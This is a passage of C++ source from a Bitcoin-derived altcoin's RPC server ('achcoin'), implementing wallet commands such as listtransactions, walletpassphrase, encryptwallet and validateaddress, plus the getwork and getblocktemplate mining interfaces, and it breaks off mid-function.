pwalletMain->SetAddressBookName(innerID, strAccount);
return CBitcoinAddress(innerID).ToString();
}
struct tallyitem
{
int64 nAmount;
int nConf;
tallyitem()
{
nAmount = 0;
nConf = std::numeric_limits<int>::max();
}
};
Value ListReceived(const Array& params, bool fByAccounts)
{
// Minimum confirmations
int nMinDepth = 1;
if (params.size() > 0)
nMinDepth = params[0].get_int();
// Whether to include empty accounts
bool fIncludeEmpty = false;
if (params.size() > 1)
fIncludeEmpty = params[1].get_bool();
// Tally
map<CBitcoinAddress, tallyitem> mapTally;
for (map<uint256, CWalletTx>::iterator it = pwalletMain->mapWallet.begin(); it != pwalletMain->mapWallet.end(); ++it)
{
const CWalletTx& wtx = (*it).second;
if (wtx.IsCoinBase() || !wtx.IsFinal())
continue;
int nDepth = wtx.GetDepthInMainChain();
if (nDepth < nMinDepth)
continue;
BOOST_FOREACH(const CTxOut& txout, wtx.vout)
{
CTxDestination address;
if (!ExtractDestination(txout.scriptPubKey, address) || !IsMine(*pwalletMain, address))
continue;
tallyitem& item = mapTally[address];
item.nAmount += txout.nValue;
item.nConf = min(item.nConf, nDepth);
}
}
// Reply
Array ret;
map<string, tallyitem> mapAccountTally;
BOOST_FOREACH(const PAIRTYPE(CBitcoinAddress, string)& item, pwalletMain->mapAddressBook)
{
const CBitcoinAddress& address = item.first;
const string& strAccount = item.second;
map<CBitcoinAddress, tallyitem>::iterator it = mapTally.find(address);
if (it == mapTally.end() && !fIncludeEmpty)
continue;
int64 nAmount = 0;
int nConf = std::numeric_limits<int>::max();
if (it != mapTally.end())
{
nAmount = (*it).second.nAmount;
nConf = (*it).second.nConf;
}
if (fByAccounts)
{
tallyitem& item = mapAccountTally[strAccount];
item.nAmount += nAmount;
item.nConf = min(item.nConf, nConf);
}
else
{
Object obj;
obj.push_back(Pair("address", address.ToString()));
obj.push_back(Pair("account", strAccount));
obj.push_back(Pair("amount", ValueFromAmount(nAmount)));
obj.push_back(Pair("confirmations", (nConf == std::numeric_limits<int>::max() ? 0 : nConf)));
ret.push_back(obj);
}
}
if (fByAccounts)
{
for (map<string, tallyitem>::iterator it = mapAccountTally.begin(); it != mapAccountTally.end(); ++it)
{
int64 nAmount = (*it).second.nAmount;
int nConf = (*it).second.nConf;
Object obj;
obj.push_back(Pair("account", (*it).first));
obj.push_back(Pair("amount", ValueFromAmount(nAmount)));
obj.push_back(Pair("confirmations", (nConf == std::numeric_limits<int>::max() ? 0 : nConf)));
ret.push_back(obj);
}
}
return ret;
}
Value listreceivedbyaddress(const Array& params, bool fHelp)
{
if (fHelp || params.size() > 2)
throw runtime_error(
"listreceivedbyaddress [minconf=1] [includeempty=false]\n"
"[minconf] is the minimum number of confirmations before payments are included.\n"
"[includeempty] whether to include addresses that haven't received any payments.\n"
"Returns an array of objects containing:\n"
" \"address\" : receiving address\n"
" \"account\" : the account of the receiving address\n"
" \"amount\" : total amount received by the address\n"
" \"confirmations\" : number of confirmations of the most recent transaction included");
return ListReceived(params, false);
}
Value listreceivedbyaccount(const Array& params, bool fHelp)
{
if (fHelp || params.size() > 2)
throw runtime_error(
"listreceivedbyaccount [minconf=1] [includeempty=false]\n"
"[minconf] is the minimum number of confirmations before payments are included.\n"
"[includeempty] whether to include accounts that haven't received any payments.\n"
"Returns an array of objects containing:\n"
" \"account\" : the account of the receiving addresses\n"
" \"amount\" : total amount received by addresses with this account\n"
" \"confirmations\" : number of confirmations of the most recent transaction included");
return ListReceived(params, true);
}
void ListTransactions(const CWalletTx& wtx, const string& strAccount, int nMinDepth, bool fLong, Array& ret)
{
int64 nGeneratedImmature, nGeneratedMature, nFee;
string strSentAccount;
list<pair<CTxDestination, int64> > listReceived;
list<pair<CTxDestination, int64> > listSent;
wtx.GetAmounts(nGeneratedImmature, nGeneratedMature, listReceived, listSent, nFee, strSentAccount);
bool fAllAccounts = (strAccount == string("*"));
// Generated blocks assigned to account ""
if ((nGeneratedMature+nGeneratedImmature) != 0 && (fAllAccounts || strAccount == ""))
{
Object entry;
entry.push_back(Pair("account", string("")));
if (nGeneratedImmature)
{
entry.push_back(Pair("category", wtx.GetDepthInMainChain() ? "immature" : "orphan"));
entry.push_back(Pair("amount", ValueFromAmount(nGeneratedImmature)));
}
else
{
entry.push_back(Pair("category", "generate"));
entry.push_back(Pair("amount", ValueFromAmount(nGeneratedMature)));
}
if (fLong)
WalletTxToJSON(wtx, entry);
ret.push_back(entry);
}
// Sent
if ((!listSent.empty() || nFee != 0) && (fAllAccounts || strAccount == strSentAccount))
{
BOOST_FOREACH(const PAIRTYPE(CTxDestination, int64)& s, listSent)
{
Object entry;
entry.push_back(Pair("account", strSentAccount));
entry.push_back(Pair("address", CBitcoinAddress(s.first).ToString()));
entry.push_back(Pair("category", "send"));
entry.push_back(Pair("amount", ValueFromAmount(-s.second)));
entry.push_back(Pair("fee", ValueFromAmount(-nFee)));
if (fLong)
WalletTxToJSON(wtx, entry);
ret.push_back(entry);
}
}
// Received
if (listReceived.size() > 0 && wtx.GetDepthInMainChain() >= nMinDepth)
{
BOOST_FOREACH(const PAIRTYPE(CTxDestination, int64)& r, listReceived)
{
string account;
if (pwalletMain->mapAddressBook.count(r.first))
account = pwalletMain->mapAddressBook[r.first];
if (fAllAccounts || (account == strAccount))
{
Object entry;
entry.push_back(Pair("account", account));
entry.push_back(Pair("address", CBitcoinAddress(r.first).ToString()));
entry.push_back(Pair("category", "receive"));
entry.push_back(Pair("amount", ValueFromAmount(r.second)));
if (fLong)
WalletTxToJSON(wtx, entry);
ret.push_back(entry);
}
}
}
}
void AcentryToJSON(const CAccountingEntry& acentry, const string& strAccount, Array& ret)
{
bool fAllAccounts = (strAccount == string("*"));
if (fAllAccounts || acentry.strAccount == strAccount)
{
Object entry;
entry.push_back(Pair("account", acentry.strAccount));
entry.push_back(Pair("category", "move"));
entry.push_back(Pair("time", (boost::int64_t)acentry.nTime));
entry.push_back(Pair("amount", ValueFromAmount(acentry.nCreditDebit)));
entry.push_back(Pair("otheraccount", acentry.strOtherAccount));
entry.push_back(Pair("comment", acentry.strComment));
ret.push_back(entry);
}
}
Value listtransactions(const Array& params, bool fHelp)
{
if (fHelp || params.size() > 3)
throw runtime_error(
"listtransactions [account] [count=10] [from=0]\n"
"Returns up to [count] most recent transactions skipping the first [from] transactions for account [account].");
string strAccount = "*";
if (params.size() > 0)
strAccount = params[0].get_str();
int nCount = 10;
if (params.size() > 1)
nCount = params[1].get_int();
int nFrom = 0;
if (params.size() > 2)
nFrom = params[2].get_int();
if (nCount < 0)
throw JSONRPCError(-8, "Negative count");
if (nFrom < 0)
throw JSONRPCError(-8, "Negative from");
Array ret;
CWalletDB walletdb(pwalletMain->strWalletFile);
// First: get all CWalletTx and CAccountingEntry into a sorted-by-time multimap.
typedef pair<CWalletTx*, CAccountingEntry*> TxPair;
typedef multimap<int64, TxPair > TxItems;
TxItems txByTime;
// Note: maintaining indices in the database of (account,time) --> txid and (account, time) --> acentry
// would make this much faster for applications that do this a lot.
for (map<uint256, CWalletTx>::iterator it = pwalletMain->mapWallet.begin(); it != pwalletMain->mapWallet.end(); ++it)
{
CWalletTx* wtx = &((*it).second);
txByTime.insert(make_pair(wtx->GetTxTime(), TxPair(wtx, (CAccountingEntry*)0)));
}
list<CAccountingEntry> acentries;
walletdb.ListAccountCreditDebit(strAccount, acentries);
BOOST_FOREACH(CAccountingEntry& entry, acentries)
{
txByTime.insert(make_pair(entry.nTime, TxPair((CWalletTx*)0, &entry)));
}
// iterate backwards until we have nCount items to return:
for (TxItems::reverse_iterator it = txByTime.rbegin(); it != txByTime.rend(); ++it)
{
CWalletTx *const pwtx = (*it).second.first;
if (pwtx != 0)
ListTransactions(*pwtx, strAccount, 0, true, ret);
CAccountingEntry *const pacentry = (*it).second.second;
if (pacentry != 0)
AcentryToJSON(*pacentry, strAccount, ret);
if ((int)ret.size() >= (nCount+nFrom)) break;
}
// ret is newest to oldest
if (nFrom > (int)ret.size())
nFrom = ret.size();
if ((nFrom + nCount) > (int)ret.size())
nCount = ret.size() - nFrom;
Array::iterator first = ret.begin();
std::advance(first, nFrom);
Array::iterator last = ret.begin();
std::advance(last, nFrom+nCount);
if (last != ret.end()) ret.erase(last, ret.end());
if (first != ret.begin()) ret.erase(ret.begin(), first);
std::reverse(ret.begin(), ret.end()); // Return oldest to newest
return ret;
}
Value listaccounts(const Array& params, bool fHelp)
{
if (fHelp || params.size() > 1)
throw runtime_error(
"listaccounts [minconf=1]\n"
"Returns Object that has account names as keys, account balances as values.");
int nMinDepth = 1;
if (params.size() > 0)
nMinDepth = params[0].get_int();
map<string, int64> mapAccountBalances;
BOOST_FOREACH(const PAIRTYPE(CTxDestination, string)& entry, pwalletMain->mapAddressBook) {
if (IsMine(*pwalletMain, entry.first)) // This address belongs to me
mapAccountBalances[entry.second] = 0;
}
for (map<uint256, CWalletTx>::iterator it = pwalletMain->mapWallet.begin(); it != pwalletMain->mapWallet.end(); ++it)
{
const CWalletTx& wtx = (*it).second;
int64 nGeneratedImmature, nGeneratedMature, nFee;
string strSentAccount;
list<pair<CTxDestination, int64> > listReceived;
list<pair<CTxDestination, int64> > listSent;
wtx.GetAmounts(nGeneratedImmature, nGeneratedMature, listReceived, listSent, nFee, strSentAccount);
mapAccountBalances[strSentAccount] -= nFee;
BOOST_FOREACH(const PAIRTYPE(CTxDestination, int64)& s, listSent)
mapAccountBalances[strSentAccount] -= s.second;
if (wtx.GetDepthInMainChain() >= nMinDepth)
{
mapAccountBalances[""] += nGeneratedMature;
BOOST_FOREACH(const PAIRTYPE(CTxDestination, int64)& r, listReceived)
if (pwalletMain->mapAddressBook.count(r.first))
mapAccountBalances[pwalletMain->mapAddressBook[r.first]] += r.second;
else
mapAccountBalances[""] += r.second;
}
}
list<CAccountingEntry> acentries;
CWalletDB(pwalletMain->strWalletFile).ListAccountCreditDebit("*", acentries);
BOOST_FOREACH(const CAccountingEntry& entry, acentries)
mapAccountBalances[entry.strAccount] += entry.nCreditDebit;
Object ret;
BOOST_FOREACH(const PAIRTYPE(string, int64)& accountBalance, mapAccountBalances) {
ret.push_back(Pair(accountBalance.first, ValueFromAmount(accountBalance.second)));
}
return ret;
}
Value listsinceblock(const Array& params, bool fHelp)
{
if (fHelp)
throw runtime_error(
"listsinceblock [blockhash] [target-confirmations]\n"
"Get all transactions in blocks since block [blockhash], or all transactions if omitted");
CBlockIndex *pindex = NULL;
int target_confirms = 1;
if (params.size() > 0)
{
uint256 blockId = 0;
blockId.SetHex(params[0].get_str());
pindex = CBlockLocator(blockId).GetBlockIndex();
}
if (params.size() > 1)
{
target_confirms = params[1].get_int();
if (target_confirms < 1)
throw JSONRPCError(-8, "Invalid parameter");
}
int depth = pindex ? (1 + nBestHeight - pindex->nHeight) : -1;
Array transactions;
for (map<uint256, CWalletTx>::iterator it = pwalletMain->mapWallet.begin(); it != pwalletMain->mapWallet.end(); it++)
{
CWalletTx tx = (*it).second;
if (depth == -1 || tx.GetDepthInMainChain() < depth)
ListTransactions(tx, "*", 0, true, transactions);
}
uint256 lastblock;
if (target_confirms == 1)
{
lastblock = hashBestChain;
}
else
{
int target_height = pindexBest->nHeight + 1 - target_confirms;
CBlockIndex *block;
for (block = pindexBest;
block && block->nHeight > target_height;
block = block->pprev) { }
lastblock = block ? block->GetBlockHash() : 0;
}
Object ret;
ret.push_back(Pair("transactions", transactions));
ret.push_back(Pair("lastblock", lastblock.GetHex()));
return ret;
}
Value gettransaction(const Array& params, bool fHelp)
{
if (fHelp || params.size() != 1)
throw runtime_error(
"gettransaction <txid>\n"
"Get detailed information about in-wallet transaction <txid>");
uint256 hash;
hash.SetHex(params[0].get_str());
Object entry;
if (!pwalletMain->mapWallet.count(hash))
throw JSONRPCError(-5, "Invalid or non-wallet transaction id");
const CWalletTx& wtx = pwalletMain->mapWallet[hash];
int64 nCredit = wtx.GetCredit();
int64 nDebit = wtx.GetDebit();
int64 nNet = nCredit - nDebit;
int64 nFee = (wtx.IsFromMe() ? wtx.GetValueOut() - nDebit : 0);
entry.push_back(Pair("amount", ValueFromAmount(nNet - nFee)));
if (wtx.IsFromMe())
entry.push_back(Pair("fee", ValueFromAmount(nFee)));
WalletTxToJSON(wtx, entry);
Array details;
ListTransactions(wtx, "*", 0, false, details);
entry.push_back(Pair("details", details));
return entry;
}
Value backupwallet(const Array& params, bool fHelp)
{
if (fHelp || params.size() != 1)
throw runtime_error(
"backupwallet <destination>\n"
"Safely copies wallet.dat to destination, which can be a directory or a path with filename.");
string strDest = params[0].get_str();
BackupWallet(*pwalletMain, strDest);
return Value::null;
}
Value keypoolrefill(const Array& params, bool fHelp)
{
if (fHelp || params.size() > 0)
throw runtime_error(
"keypoolrefill\n"
"Fills the keypool."
+ HelpRequiringPassphrase());
EnsureWalletIsUnlocked();
pwalletMain->TopUpKeyPool();
if (pwalletMain->GetKeyPoolSize() < GetArg("-keypool", 100))
throw JSONRPCError(-4, "Error refreshing keypool.");
return Value::null;
}
void ThreadTopUpKeyPool(void* parg)
{
// Make this thread recognisable as the key-topping-up thread
RenameThread("bitcoin-key-top");
pwalletMain->TopUpKeyPool();
}
void ThreadCleanWalletPassphrase(void* parg)
{
// Make this thread recognisable as the wallet relocking thread
RenameThread("bitcoin-lock-wa");
int64 nMyWakeTime = GetTimeMillis() + *((int64*)parg) * 1000;
ENTER_CRITICAL_SECTION(cs_nWalletUnlockTime);
if (nWalletUnlockTime == 0)
{
nWalletUnlockTime = nMyWakeTime;
do
{
if (nWalletUnlockTime==0)
break;
int64 nToSleep = nWalletUnlockTime - GetTimeMillis();
if (nToSleep <= 0)
break;
LEAVE_CRITICAL_SECTION(cs_nWalletUnlockTime);
Sleep(nToSleep);
ENTER_CRITICAL_SECTION(cs_nWalletUnlockTime);
} while(1);
if (nWalletUnlockTime)
{
nWalletUnlockTime = 0;
pwalletMain->Lock();
}
}
else
{
if (nWalletUnlockTime < nMyWakeTime)
nWalletUnlockTime = nMyWakeTime;
}
LEAVE_CRITICAL_SECTION(cs_nWalletUnlockTime);
delete (int64*)parg;
}
Value walletpassphrase(const Array& params, bool fHelp)
{
if (pwalletMain->IsCrypted() && (fHelp || params.size() != 2))
throw runtime_error(
"walletpassphrase <passphrase> <timeout>\n"
"Stores the wallet decryption key in memory for <timeout> seconds.");
if (fHelp)
return true;
if (!pwalletMain->IsCrypted())
throw JSONRPCError(-15, "Error: running with an unencrypted wallet, but walletpassphrase was called.");
if (!pwalletMain->IsLocked())
throw JSONRPCError(-17, "Error: Wallet is already unlocked.");
// Note that the walletpassphrase is stored in params[0] which is not mlock()ed
SecureString strWalletPass;
strWalletPass.reserve(100);
// TODO: get rid of this .c_str() by implementing SecureString::operator=(std::string)
// Alternately, find a way to make params[0] mlock()'d to begin with.
strWalletPass = params[0].get_str().c_str();
if (strWalletPass.length() > 0)
{
if (!pwalletMain->Unlock(strWalletPass))
throw JSONRPCError(-14, "Error: The wallet passphrase entered was incorrect.");
}
else
throw runtime_error(
"walletpassphrase <passphrase> <timeout>\n"
"Stores the wallet decryption key in memory for <timeout> seconds.");
CreateThread(ThreadTopUpKeyPool, NULL);
int64* pnSleepTime = new int64(params[1].get_int64());
CreateThread(ThreadCleanWalletPassphrase, pnSleepTime);
return Value::null;
}
Value walletpassphrasechange(const Array& params, bool fHelp)
{
if (pwalletMain->IsCrypted() && (fHelp || params.size() != 2))
throw runtime_error(
"walletpassphrasechange <oldpassphrase> <newpassphrase>\n"
"Changes the wallet passphrase from <oldpassphrase> to <newpassphrase>.");
if (fHelp)
return true;
if (!pwalletMain->IsCrypted())
throw JSONRPCError(-15, "Error: running with an unencrypted wallet, but walletpassphrasechange was called.");
// TODO: get rid of these .c_str() calls by implementing SecureString::operator=(std::string)
// Alternately, find a way to make params[0] mlock()'d to begin with.
SecureString strOldWalletPass;
strOldWalletPass.reserve(100);
strOldWalletPass = params[0].get_str().c_str();
SecureString strNewWalletPass;
strNewWalletPass.reserve(100);
strNewWalletPass = params[1].get_str().c_str();
if (strOldWalletPass.length() < 1 || strNewWalletPass.length() < 1)
throw runtime_error(
"walletpassphrasechange <oldpassphrase> <newpassphrase>\n"
"Changes the wallet passphrase from <oldpassphrase> to <newpassphrase>.");
if (!pwalletMain->ChangeWalletPassphrase(strOldWalletPass, strNewWalletPass))
throw JSONRPCError(-14, "Error: The wallet passphrase entered was incorrect.");
return Value::null;
}
Value walletlock(const Array& params, bool fHelp)
{
if (pwalletMain->IsCrypted() && (fHelp || params.size() != 0))
throw runtime_error(
"walletlock\n"
"Removes the wallet encryption key from memory, locking the wallet.\n"
"After calling this method, you will need to call walletpassphrase again\n"
"before being able to call any methods which require the wallet to be unlocked.");
if (fHelp)
return true;
if (!pwalletMain->IsCrypted())
throw JSONRPCError(-15, "Error: running with an unencrypted wallet, but walletlock was called.");
{
LOCK(cs_nWalletUnlockTime);
pwalletMain->Lock();
nWalletUnlockTime = 0;
}
return Value::null;
}
Value encryptwallet(const Array& params, bool fHelp)
{
if (!pwalletMain->IsCrypted() && (fHelp || params.size() != 1))
throw runtime_error(
"encryptwallet <passphrase>\n"
"Encrypts the wallet with <passphrase>.");
if (fHelp)
return true;
if (pwalletMain->IsCrypted())
throw JSONRPCError(-15, "Error: running with an encrypted wallet, but encryptwallet was called.");
// TODO: get rid of this .c_str() by implementing SecureString::operator=(std::string)
// Alternately, find a way to make params[0] mlock()'d to begin with.
SecureString strWalletPass;
strWalletPass.reserve(100);
strWalletPass = params[0].get_str().c_str();
if (strWalletPass.length() < 1)
throw runtime_error(
"encryptwallet <passphrase>\n"
"Encrypts the wallet with <passphrase>.");
if (!pwalletMain->EncryptWallet(strWalletPass))
throw JSONRPCError(-16, "Error: Failed to encrypt the wallet.");
// BDB seems to have a bad habit of writing old data into
// slack space in .dat files; that is bad if the old data is
// unencrypted private keys. So:
StartShutdown();
return "wallet encrypted; achcoin server stopping, restart to run with encrypted wallet";
}
class DescribeAddressVisitor : public boost::static_visitor<Object>
{
public:
Object operator()(const CNoDestination &dest) const { return Object(); }
Object operator()(const CKeyID &keyID) const {
Object obj;
CPubKey vchPubKey;
pwalletMain->GetPubKey(keyID, vchPubKey);
obj.push_back(Pair("isscript", false));
obj.push_back(Pair("pubkey", HexStr(vchPubKey.Raw())));
obj.push_back(Pair("iscompressed", vchPubKey.IsCompressed()));
return obj;
}
Object operator()(const CScriptID &scriptID) const {
Object obj;
obj.push_back(Pair("isscript", true));
CScript subscript;
pwalletMain->GetCScript(scriptID, subscript);
std::vector<CTxDestination> addresses;
txnouttype whichType;
int nRequired;
ExtractDestinations(subscript, whichType, addresses, nRequired);
obj.push_back(Pair("script", GetTxnOutputType(whichType)));
Array a;
BOOST_FOREACH(const CTxDestination& addr, addresses)
a.push_back(CBitcoinAddress(addr).ToString());
obj.push_back(Pair("addresses", a));
if (whichType == TX_MULTISIG)
obj.push_back(Pair("sigsrequired", nRequired));
return obj;
}
};
Value validateaddress(const Array& params, bool fHelp)
{
if (fHelp || params.size() != 1)
throw runtime_error(
"validateaddress <achcoin address>\n"
"Return information about <achcoin address>.");
CBitcoinAddress address(params[0].get_str());
bool isValid = address.IsValid();
Object ret;
ret.push_back(Pair("isvalid", isValid));
if (isValid)
{
CTxDestination dest = address.Get();
string currentAddress = address.ToString();
ret.push_back(Pair("address", currentAddress));
bool fMine = IsMine(*pwalletMain, dest);
ret.push_back(Pair("ismine", fMine));
if (fMine) {
Object detail = boost::apply_visitor(DescribeAddressVisitor(), dest);
ret.insert(ret.end(), detail.begin(), detail.end());
}
if (pwalletMain->mapAddressBook.count(dest))
ret.push_back(Pair("account", pwalletMain->mapAddressBook[dest]));
}
return ret;
}
Value getworkex(const Array& params, bool fHelp)
{
if (fHelp || params.size() > 2)
throw runtime_error(
"getworkex [data, coinbase]\n"
"If [data, coinbase] is not specified, returns extended work data.\n"
);
if (vNodes.empty())
throw JSONRPCError(-9, "achcoin server is not connected!");
if (IsInitialBlockDownload())
throw JSONRPCError(-10, "achcoin server is downloading blocks...");
typedef map<uint256, pair<CBlock*, CScript> > mapNewBlock_t;
static mapNewBlock_t mapNewBlock;
static vector<CBlock*> vNewBlock;
static CReserveKey reservekey(pwalletMain);
if (params.size() == 0)
{
// Update block
static unsigned int nTransactionsUpdatedLast;
static CBlockIndex* pindexPrev;
static int64 nStart;
static CBlock* pblock;
if (pindexPrev != pindexBest ||
(nTransactionsUpdated != nTransactionsUpdatedLast && GetTime() - nStart > 60))
{
if (pindexPrev != pindexBest)
{
// Deallocate old blocks since they're obsolete now
mapNewBlock.clear();
BOOST_FOREACH(CBlock* pblock, vNewBlock)
delete pblock;
vNewBlock.clear();
}
nTransactionsUpdatedLast = nTransactionsUpdated;
pindexPrev = pindexBest;
nStart = GetTime();
// Create new block
pblock = CreateNewBlock(reservekey);
if (!pblock)
throw JSONRPCError(-7, "Out of memory");
vNewBlock.push_back(pblock);
}
// Update nTime
pblock->nTime = max(pindexPrev->GetMedianTimePast()+1, GetAdjustedTime());
pblock->nNonce = 0;
// Update nExtraNonce
static unsigned int nExtraNonce = 0;
IncrementExtraNonce(pblock, pindexPrev, nExtraNonce);
// Save
mapNewBlock[pblock->hashMerkleRoot] = make_pair(pblock, pblock->vtx[0].vin[0].scriptSig);
// Prebuild hash buffers
char pmidstate[32];
char pdata[128];
char phash1[64];
FormatHashBuffers(pblock, pmidstate, pdata, phash1);
uint256 hashTarget = CBigNum().SetCompact(pblock->nBits).getuint256();
CTransaction coinbaseTx = pblock->vtx[0];
std::vector<uint256> merkle = pblock->GetMerkleBranch(0);
Object result;
result.push_back(Pair("data", HexStr(BEGIN(pdata), END(pdata))));
result.push_back(Pair("target", HexStr(BEGIN(hashTarget), END(hashTarget))));
CDataStream ssTx(SER_NETWORK, PROTOCOL_VERSION);
ssTx << coinbaseTx;
result.push_back(Pair("coinbase", HexStr(ssTx.begin(), ssTx.end())));
Array merkle_arr;
printf("DEBUG: merkle size %i\n", merkle.size());
BOOST_FOREACH(uint256 merkleh, merkle) {
printf("%s\n", merkleh.ToString().c_str());
merkle_arr.push_back(HexStr(BEGIN(merkleh), END(merkleh)));
}
result.push_back(Pair("merkle", merkle_arr));
return result;
}
else
{
// Parse parameters
vector<unsigned char> vchData = ParseHex(params[0].get_str());
vector<unsigned char> coinbase;
if(params.size() == 2)
coinbase = ParseHex(params[1].get_str());
if (vchData.size() != 128)
throw JSONRPCError(-8, "Invalid parameter");
CBlock* pdata = (CBlock*)&vchData[0];
// Byte reverse
for (int i = 0; i < 128/4; i++)
((unsigned int*)pdata)[i] = ByteReverse(((unsigned int*)pdata)[i]);
// Get saved block
if (!mapNewBlock.count(pdata->hashMerkleRoot))
return false;
CBlock* pblock = mapNewBlock[pdata->hashMerkleRoot].first;
pblock->nTime = pdata->nTime;
pblock->nNonce = pdata->nNonce;
if(coinbase.size() == 0)
pblock->vtx[0].vin[0].scriptSig = mapNewBlock[pdata->hashMerkleRoot].second;
else
CDataStream(coinbase, SER_NETWORK, PROTOCOL_VERSION) >> pblock->vtx[0]; // FIXME - HACK!
pblock->hashMerkleRoot = pblock->BuildMerkleTree();
return CheckWork(pblock, *pwalletMain, reservekey);
}
}
Value getwork(const Array& params, bool fHelp)
{
if (fHelp || params.size() > 1)
throw runtime_error(
"getwork [data]\n"
"If [data] is not specified, returns formatted hash data to work on:\n"
" \"midstate\" : precomputed hash state after hashing the first half of the data (DEPRECATED)\n" // deprecated
" \"data\" : block data\n"
" \"hash1\" : formatted hash buffer for second hash (DEPRECATED)\n" // deprecated
" \"target\" : little endian hash target\n"
"If [data] is specified, tries to solve the block and returns true if it was successful.");
if (vNodes.empty())
throw JSONRPCError(-9, "achcoin server is not connected!");
if (IsInitialBlockDownload())
throw JSONRPCError(-10, "achcoin server is downloading blocks...");
typedef map<uint256, pair<CBlock*, CScript> > mapNewBlock_t;
static mapNewBlock_t mapNewBlock; // FIXME: thread safety
static vector<CBlock*> vNewBlock;
static CReserveKey reservekey(pwalletMain);
if (params.size() == 0)
{
// Update block
static unsigned int nTransactionsUpdatedLast;
static CBlockIndex* pindexPrev;
static int64 nStart;
static CBlock* pblock;
if (pindexPrev != pindexBest ||
(nTransactionsUpdated != nTransactionsUpdatedLast && GetTime() - nStart > 60))
{
if (pindexPrev != pindexBest)
{
// Deallocate old blocks since they're obsolete now
mapNewBlock.clear();
BOOST_FOREACH(CBlock* pblock, vNewBlock)
delete pblock;
vNewBlock.clear();
}
nTransactionsUpdatedLast = nTransactionsUpdated;
pindexPrev = pindexBest;
nStart = GetTime();
// Create new block
pblock = CreateNewBlock(reservekey);
if (!pblock)
throw JSONRPCError(-7, "Out of memory");
vNewBlock.push_back(pblock);
}
// Update nTime
pblock->UpdateTime(pindexPrev);
pblock->nNonce = 0;
// Update nExtraNonce
static unsigned int nExtraNonce = 0;
IncrementExtraNonce(pblock, pindexPrev, nExtraNonce);
// Save
mapNewBlock[pblock->hashMerkleRoot] = make_pair(pblock, pblock->vtx[0].vin[0].scriptSig);
// Prebuild hash buffers
char pmidstate[32];
char pdata[128];
char phash1[64];
FormatHashBuffers(pblock, pmidstate, pdata, phash1);
uint256 hashTarget = CBigNum().SetCompact(pblock->nBits).getuint256();
Object result;
result.push_back(Pair("midstate", HexStr(BEGIN(pmidstate), END(pmidstate)))); // deprecated
result.push_back(Pair("data", HexStr(BEGIN(pdata), END(pdata))));
result.push_back(Pair("hash1", HexStr(BEGIN(phash1), END(phash1)))); // deprecated
result.push_back(Pair("target", HexStr(BEGIN(hashTarget), END(hashTarget))));
result.push_back(Pair("algorithm", "scrypt:1024,1,1")); // specify that we should use the scrypt algorithm
return result;
}
else
{
// Parse parameters
vector<unsigned char> vchData = ParseHex(params[0].get_str());
if (vchData.size() != 128)
throw JSONRPCError(-8, "Invalid parameter");
CBlock* pdata = (CBlock*)&vchData[0];
// Byte reverse
for (int i = 0; i < 128/4; i++)
((unsigned int*)pdata)[i] = ByteReverse(((unsigned int*)pdata)[i]);
// Get saved block
if (!mapNewBlock.count(pdata->hashMerkleRoot))
return false;
CBlock* pblock = mapNewBlock[pdata->hashMerkleRoot].first;
pblock->nTime = pdata->nTime;
pblock->nNonce = pdata->nNonce;
pblock->vtx[0].vin[0].scriptSig = mapNewBlock[pdata->hashMerkleRoot].second;
pblock->hashMerkleRoot = pblock->BuildMerkleTree();
return CheckWork(pblock, *pwalletMain, reservekey);
}
}
Value getblocktemplate(const Array& params, bool fHelp)
{
if (fHelp || params.size() != 1)
throw runtime_error(
"getblocktemplate [params]\n"
"If [params] does not contain a \"data\" key, returns data needed to construct a block to work on:\n"
" \"version\" : block version\n"
" \"previousblockhash\" : hash of current highest block\n"
" \"transactions\" : contents of non-coinbase transactions that should be included in the next block\n"
" \"coinbaseaux\" : data that should be included in coinbase\n"
" \"coinbasevalue\" : maximum allowable input to coinbase transaction, including the generation award and transaction fees\n"
" \"target\" : hash target\n"
" \"mintime\" : minimum timestamp appropriate for next block\n"
" \"curtime\" : current timestamp\n"
" \"mutable\" : list of ways the block template may be changed\n"
" \"noncerange\" : range of valid nonces\n"
" \"sigoplimit\" : limit of sigops in blocks\n"
" \"sizelimit\" : limit of block size\n"
" \"bits\" : compressed target of next block\n"
" \"height\" : height of the next block\n"
"If [params] does contain a \"data\" key, tries to solve the block and returns null if it was successful (and \"rejected\" if not)\n"
"See https://en.bitcoin.it/wiki/BIP_0022 for full specification.");
const Object& oparam = params[0].get_obj();
std::string strMode;
{
const Value& modeval = find_value(oparam, "mode");
if (modeval.type() == str_type)
strMode = modeval.get_str();
else
if (find_value(oparam, "data").type() == null_type)
strMode = "template";
else
strMode = "submit";
}
if (strMode == "template")
{
if (vNodes.empty())
throw JSONRPCError(-9, "achcoin server is not connected!");
if (IsInitialBlockDownload())
throw JSONRPCError(-10, "achcoin server is downloading blocks...");
static CReserveKey reservekey(pwalletMain);
// Update block
static unsigned int nTransactionsUpdatedLast;
static CBlockIndex* pindexPrev;
static int64 nStart;
static CBlock* pblock;
if (pindexPrev != pindexBest ||
(nTransactionsUpdated != nTransactionsUpdatedLast && GetTime() - nStart > 5))
{
nTransactionsUpdatedLast = nTransactionsUpdated;
pindexPrev = pindexBest;
nStart = GetTime();
// Create new block
if(pblock)
delete pblock;
pblock = CreateNewBlock(reservekey);
if (!pblock)
throw JSONRPCError(-7, "Out of memory");
}
// Update nTime
pblock->UpdateTime(pindexPrev);
pblock->nNonce = 0;
Array transactions;
map<uint256, int64_t> setTxIndex;
int i = 0;
CTxDB txdb("r");
BOOST_FOREACH (CTransaction& tx, pblock->vtx)
{
uint256 txHash = tx.GetHash();
setTxIndex[txHash] = i++;
if (tx.IsCoinBase())
continue;
Object entry;
CDataStream ssTx(SER_NETWORK, PROTOCOL_VERSION);
ssTx << tx;
entry.push_back(Pair("data", HexStr(ssTx.begin(), ssTx.end())));
entry.push_back(Pair("hash", txHash.GetHex()));
MapPrevTx mapInputs;
map<uint256, CTxIndex> mapUnused;
bool fInvalid = false;
if (tx.FetchInputs(txdb, mapUnused, false, false, mapInputs, fInvalid))
{
entry.push_back(Pair("fee", (int64_t)(tx.GetValueIn(mapInputs) - tx.GetValueOut())));
Array deps;
BOOST_FOREACH (MapPrevTx::value_type& inp, mapInputs)
{
if (setTxIndex.count(inp.first))
deps.push_back(setTxIndex[inp.first]);
}
entry.push_back(Pair("depends", deps));
int64_t nSigOps = tx.GetLegacySigOpCount();
nSigOps += tx.GetP2SHSigOpCount(mapInputs);
entry.push_back(Pair("sigops", nSigOps));
}
transactions.push_back(entry);
}
Object aux;
aux.push_back(Pair("flags", HexStr(COINBASE_FLAGS.begin(), COINBASE_FLAGS.end())));
uint256 hashTarget = CBigNum().SetCompact(pblock->nBits).getuint256();
static Array aMutable;
if (aMutable.empty())
{
